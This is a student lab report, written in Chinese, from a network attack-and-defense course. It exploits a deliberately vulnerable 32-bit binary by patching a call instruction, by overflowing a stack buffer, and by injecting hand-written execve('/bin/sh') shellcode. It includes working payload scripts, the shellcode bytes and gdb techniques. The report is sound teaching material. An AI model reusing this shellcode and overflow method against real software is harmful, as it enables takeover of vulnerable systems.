20242316 2025-2026-1 《网络与系统攻防技术》实验一实验报告
20242316 2025-2026-1 《网络与系统攻防技术》实验一实验报告
1.基础知识
本次实验涉及以下基础知识:
(1)ELF可执行文件与程序执行流程
Linux下的可执行文件采用ELF格式。pwn1是一个32位Linux ELF程序,正常执行流程为main调用foo函数,foo函数回显用户输入的字符串。程序中还包含一个getShell函数,正常情况下不会被调用,该函数会返回一个可用Shell。本次实验的目标就是通过三种方法让程序执行getShell或运行自己注入的Shellcode。
(2)x86 32位寄存器与栈结构
32位Linux常见寄存器包括:EIP(指令指针,指向下一条要执行的指令地址)、ESP(栈顶指针)、EBP(栈帧基址指针)以及EAX/EBX/ECX/EDX等通用寄存器。栈向低地址方向增长,函数调用时的典型栈布局如下:
高地址
+----------------+
| 调用者的栈 |
+----------------+
| 返回地址 | ebp + 4 <- ret 会把它弹到 EIP
+----------------+
| 保存的旧 EBP | ebp + 0
+----------------+
| 局部变量 buf | ebp - N <- gets 写入的位置
+----------------+
低地址
当foo函数中使用gets读入数据时,由于gets不检查输入长度,输入足够长的字符串可以从buf一直覆盖到返回地址。当foo执行ret时,EIP就会变成被覆盖的返回地址,从而改变程序执行流程。
(3)小端序
x86架构采用小端序存储数据,即低字节存放在低地址。例如地址0x0804847d在内存和文件中的存储顺序为7d 84 04 08。构造payload时需要用struct.pack('<I', addr)将地址转换为小端序字节序列。
(4)CALL指令与相对偏移
32位x86中,近调用call的机器码为E8 xx xx xx xx,其中xx xx xx xx是相对偏移而非绝对地址。计算方式为:
偏移 = 目标地址 - 下一条指令地址
下一条指令地址 = call 指令地址 + 5
例如:call指令地址为0x080484b5,下一条地址为0x080484ba,getShell地址为0x0804847d,则偏移 = 0x0804847d - 0x080484ba = -0x3d,即32位补码0xffffffc3,小端序为c3 ff ff ff。
(5)必须掌握的汇编指令机器码
| 指令 | 机器码 | 说明 |
|---|---|---|
| NOP | 90 | 空操作,常作滑板 |
| JMP rel8 | EB xx | 短跳转 |
| JMP rel32 | E9 xx xx xx xx | 近跳转 |
| JNE rel8 | 75 xx | 不相等则短跳 |
| JE rel8 | 74 xx | 相等则短跳 |
| CALL rel32 | E8 xx xx xx xx | 近调用 |
| CMP eax, imm8 | 83 F8 xx | 比较 |
| RET | C3 | 返回 |
| LEAVE | C9 | 恢复栈帧 |
| PUSH EBP | 55 | 压入旧EBP |
| MOV EBP, ESP | 89 E5 | 建立栈帧 |
(6)缓冲区溢出攻击原理
正常流程为main -> foo -> gets -> puts -> ret -> main。如果输入超长字符串,payload结构为[buf填充][覆盖saved ebp][覆盖返回地址为getShell地址],那么foo返回时就不再回到main,而是跳转到getShell。
(7)Shellcode注入原理
Shellcode是一段用于执行特定功能的机器码,常用来执行execve("/bin/sh", NULL, NULL)以获取Shell。32位Linux常用Shellcode为:
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
长度为25字节。注入Shellcode时,需要将Shellcode放入缓冲区,然后覆盖返回地址使其跳转到Shellcode所在位置。
2.实验内容
以一个名为pwn1的Linux可执行文件为实践对象,正常执行流程是main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段getShell,会返回一个可用Shell,正常情况下这个代码不会被运行。本次实验的目标就是想办法运行这个代码片段,具体包括三个实践内容:
- 手工修改可执行文件,改变程序执行流程,直接跳转到
getShell函数。 - 利用
foo函数的BOF漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。 - 注入一个自己制作的Shellcode并运行这段Shellcode。
3.实验过程
3.1 实验准备
3.1.1 设置主机名与实验目录
将主机名设置为“学号+姓名缩写”20242316pyy,在 Kali 中创建实验目录~/awd_exp1。随后通过虚拟机共享目录把 Windows 中的pwn1传入 Kali,改名为pwn1_20242316,并备份为pwn1_20242316.bak。后续所有新文件均在文件名中保留学号,便于区分和检查。

图1:设置主机名

图2:设置虚拟机共享文件夹

图3:在 Kali 中挂载共享文件夹

图4:备份原始 pwn1 文件
3.1.2 环境与保护机制确认
执行file pwn1_20242316确认文件为32位ELF可执行文件,试运行程序输入hello后正常回显。

图5:查看文件类型并试运行
执行以下命令确认保护机制状态:
readelf -l pwn1_20242316 | grep GNU_STACK
cat /proc/sys/kernel/randomize_va_space
结果显示GNU_STACK为RWE(栈可执行),randomize_va_space为0(ASLR已关闭)。

图8:查看 GNU_STACK 权限
3.1.3 保存反汇编信息
生成反汇编文件dis_20242316.txt,查找关键函数地址:
objdump -d pwn1_20242316 > dis_20242316.txt
grep -E "<main>|<foo>|<getShell>" dis_20242316.txt
输出结果:
0804847d <getShell>:
08048491 <foo>:
080484af <main>:
80484b5: e8 d7 ff ff ff call 8048491 <foo>

图6:生成反汇编文件并查看关键函数
查看.text节信息:
[13] .text PROGBITS 08048380 000380 0001c2 00 AX 0 0 16
即.text虚拟地址为0x08048380,文件偏移为0x000380。

图7:查看 .text 节的文件偏移与虚拟地址
3.2 方法一:手工修改可执行文件,直接跳转到getShell
3.2.1 计算新的call偏移
从反汇编结果中提取:
call指令地址:0x080484b5- 下一条指令地址:
0x080484b5 + 5 = 0x080484ba - 目标地址(
getShell):0x0804847d
计算偏移:0x0804847d - 0x080484ba = -0x3d,32位补码为0xffffffc3,小端序为c3 ff ff ff。
原机器码为e8 d7 ff ff ff,需改为e8 c3 ff ff ff。
3.2.2 计算文件偏移
文件偏移 = call指令虚拟地址 - .text虚拟地址 + .text文件偏移
= 0x080484b5 - 0x08048380 + 0x000380
= 0x135 + 0x380
= 0x4b5
即文件偏移0x4b5处为e8,0x4b6处为d7,需将0x4b6处的d7改为c3。
3.2.3 修改可执行文件
复制原始文件后生成十六进制文本,用vim定位并修改:
cp pwn1_20242316 pwn1_20242316_mod
xxd -g1 pwn1_20242316_mod > hex_20242316.txt
vim hex_20242316.txt
在vim中搜索e8 d7,将d7改为c3,保存退出。

图9:生成十六进制文本

图10:在 vim 中修改 call 指令的机器码
将修改后的十六进制文本还原为二进制文件并验证:
xxd -r hex_20242316.txt > pwn1_20242316_mod
chmod +x pwn1_20242316_mod
objdump -d pwn1_20242316_mod | grep -A10 "<main>"
验证结果显示:
80484b5: e8 c3 ff ff ff call 804847d <getShell>
原先调用foo的指令已改为调用getShell。

图11:确认二进制补丁修改成功
3.2.4 运行验证
./pwn1_20242316_mod
whoami
程序直接进入Shell,whoami输出kali。

图12:方法一运行成功后获取 Shell
3.3 方法二:利用foo函数的BOF漏洞覆盖返回地址
3.3.1 偏移量计算
分析foo函数反汇编:
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
...
80484ad: c9 leave
80484ae: c3 ret
缓冲区起始地址为ebp - 0x1c,返回地址在ebp + 4,从缓冲区到返回地址的距离为:
(ebp + 4) - (ebp - 0x1c) = 4 + 0x1c = 0x20 = 32 字节
因此payload结构为:[32字节填充] + [getShell地址(4字节)]。
getShell地址为0x0804847d,小端序为7d 84 04 08。

图13:查看 foo 函数反汇编并计算栈偏移
3.3.2 生成payload
python3 - <<'PY'
import struct
offset = 32
getshell = 0x0804847d
payload = b'A' * offset + struct.pack('<I', getshell)
open('payload_bof_20242316','wb').write(payload)
print('payload 长度:', len(payload))
print('payload 十六进制:', payload.hex())
PY
输出:payload长度为36字节,十六进制为41414141414141414141414141414141414141414141414141414141414141417d840408。

图14:生成 BOF payload
3.3.3 运行攻击
(cat payload_bof_20242316; cat) | ./pwn1_20242316
whoami
id
程序先回显32个A和乱码,然后直接进入Shell,whoami输出kali,id输出完整用户组信息。

图15:方法二 BOF 攻击成功
3.4 方法三:注入自己制作的Shellcode并运行
3.4.1 自写Shellcode汇编代码
创建shellcode_20242316.asm:
BITS 32
global _start
section .text
_start:
xor eax, eax ; eax = 0
push eax ; 字符串结束符 '\0'
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ebx = "/bin//sh"
push eax ; argv[1] = NULL
push ebx ; argv[0] = "/bin//sh"
mov ecx, esp ; ecx = argv
xor edx, edx ; edx = NULL
mov al, 0x0b ; execve 系统调用号 = 11
int 0x80 ; 触发系统调用

图16:自写 Shellcode 汇编源码
3.4.2 汇编并提取机器码
sudo apt install -y nasm
nasm -f bin shellcode_20242316.asm -o shellcode_20242316.bin
xxd -p shellcode_20242316.bin
提取出的机器码:31c050682f2f7368682f62696e89e3505389e131d2b00bcd80,长度25字节。

图17:汇编并提取 Shellcode 机器码
3.4.3 测试Shellcode能否执行
编写测试程序test_shellcode_20242316.c,将Shellcode复制到栈上并通过函数指针执行:
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
int main() {
printf("Shellcode length: %zu\n", strlen(shellcode));
char buf[256];
memcpy(buf, shellcode, sizeof(shellcode));
int (*ret)() = (int(*)())buf;
ret();
}

图18:Shellcode 测试程序源码
编译并运行:
gcc -m32 -fno-stack-protector -z execstack -no-pie -fno-pie -O0 test_shellcode_20242316.c -o test_shellcode_20242316
./test_shellcode_20242316
whoami
id
成功获得Shell,whoami输出kali。

图19:测试程序成功获取 Shell
3.4.4 将Shellcode注入pwn1
第一步:attach真实进程获取栈地址
在终端1中以env -i方式启动pwn1:
(cat; cat) | env -i ./pwn1_20242316
在终端2中找到进程号并attach:
pgrep -af pwn1_20242316
sudo gdb -q -p PID
在 gdb 中于foo函数返回前下断点,观察真实的ebp值:
set disassembly-flavor intel
break *0x080484ad
continue
回到终端1输入64个A回车,然后在gdb中查看ebp:
info registers ebp
输出:ebp = 0xffffde08。
则缓冲区地址为ebp - 0x1c = 0xffffddec,NOP雪橇起始地址(ebp + 8)为0xffffde10。

图21:attach 真实进程并查看 EBP

图22:终端 1:启动 pwn1

图23:终端 2:在 gdb 中查看寄存器
第二步:构造payload(RNS布局)
采用[32字节填充] + [返回地址] + [NOP雪橇] + [Shellcode]的布局:
python3 - <<'PY'
import struct
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
ret_addr = 0xffffde10
payload = b"A" * 32 + struct.pack("<I", ret_addr) + b"\x90" * 20 + shellcode
with open('payload_final_20242316', 'wb') as f:
f.write(payload + b'\n')
f.write(b'whoami\n')
f.write(b'id\n')
f.write(b'exit\n')
print('返回地址 =', hex(ret_addr))
print('payload 长度 =', len(payload))
PY
输出:返回地址为0xffffde10,payload长度为81字节。

图24:生成最终 payload
第三步:运行攻击
(cat payload_final_20242316; cat) | env -i ./pwn1_20242316
whoami
id
成功获得Shell,whoami输出kali,id输出完整用户组信息。

图25:方法三最终攻击成功
4.问题及解决方案
问题1:旧版测试程序出现段错误(SIGSEGV)
测试 Shellcode 时,程序没有正常返回 Shell,而是出现 zsh: segmentation fault。
解决方案: 使用 gdb 的 info proc mappings 查看内存映射,发现崩溃地址 0x56559014 位于 rw-p 数据段,该段不可执行。原因是旧版程序把 Shellcode 放在全局数组 shellcode[] 中,编译后落在 .data 段。改为在 main 中定义栈上的 char buf[256],用 memcpy 把 Shellcode 复制到 buf,再把函数指针指向 buf;同时确认 GNU_STACK 权限为 RWE,Shellcode 随即可以正常执行。

图20:查看 ELF 段权限并分析段错误原因
问题2:gdb 内外栈地址不一致导致攻击失败
在 gdb 中直接运行 pwn1 时查到的缓冲区地址,和脱离 gdb 运行时的地址不同,按照该地址构造的 payload 无法跳转到正确位置。
解决方案: gdb 会改变环境变量和栈布局,因此不能直接用 gdb 正常启动时的栈地址。改为先在终端中通过 env -i 启动 pwn1,再在另一个终端用 sudo gdb -q -p PID attach 到真实进程,在 foo 返回前下断点,查看实际运行环境中的 ebp,据此计算 ebp - 0x1c 和返回地址。
问题3:管道与重定向造成栈偏移
attach 时和正式攻击时的启动方式不同,进程的栈布局也随之变化,导致调试时得到的地址不能用于攻击。
解决方案: attach 调试和最终攻击都使用 (cat ...; cat) | env -i ./pwn1_20242316 这种管道方式,并保持环境变量一致,避免由于父进程、输入方式和环境差异造成栈地址偏移。
问题4:早期 Shellcode 布局不稳定
最初采用 [Shellcode][NOP][返回地址] 的布置时,攻击效果不稳定。调试时发现 Shellcode 中的 push 会继续向低地址写栈,结合真实栈地址的波动,容易造成执行异常。
解决方案: 改用 RNS 布局:[32字节填充][返回地址][NOP雪橇][Shellcode]。返回地址指向 NOP 雪橇,程序先落入 NOP 区再滑到后面的 Shellcode。这样既没有让 Shellcode 紧贴返回地址,也增大了地址命中范围,最终攻击成功。
5.学习感悟、思考
这次实验是我第一次真正动手做二进制漏洞利用,收获比预想的大得多。方法一和方法二在AI的指导下做得还算顺利,按照反汇编算偏移、改机器码、构造 payload,基本没遇到太大阻碍。但方法三让我卡了很久,也正是在反复失败和排查中,我才真正理解了一些书本上没有的细节。
一开始我把 shellcode 放在返回地址前面,结果一直段错误。后来用 gdb 单步调试才发现,shellcode 执行时的 push 指令会向下覆盖栈上的数据,恰好把自己后面还没执行的指令改掉了。改成“填充 + 返回地址 + NOP 滑道 + shellcode”的结构后,问题才解决。这让我明白,payload 的布局不是随便排的,必须考虑指令执行时栈指针的变化。
另一个让我印象深刻的问题是 gdb 内外栈地址不一致。我在 gdb 里查到的缓冲区地址,拿到真实终端里运行就失效。后来学会用 attach 的方式,先在终端启动程序,再用 gdb 附加到真实进程上查 ebp,才算拿到可用的地址。我还犯过把 python3 命令直接输进 gdb 的乌龙,现在能清楚区分终端命令和 gdb 命令了。
通过 readelf 和 info proc mappings 查看段权限,我直观地看到了数据段 rw-p 和栈段 rwxp 的区别,也理解了 NX 保护的实际作用。实验环境关闭了 ASLR 和栈保护,攻击才得以成功,这反过来让我意识到这些防护机制的重要性。
这次实验也让我对“细节决定成败”有了更具体的体会。一个字节的地址写错、一次运行环境的变化,都会让攻击失败。排查问题的过程虽然很磨人,但每次找到原因后,对栈结构、函数调用和程序加载的理解都会更深一层。这次实验让我对缓冲区溢出有了切身体会,也让我对网络攻防产生了更浓厚的兴趣。

浙公网安备 33010602011771号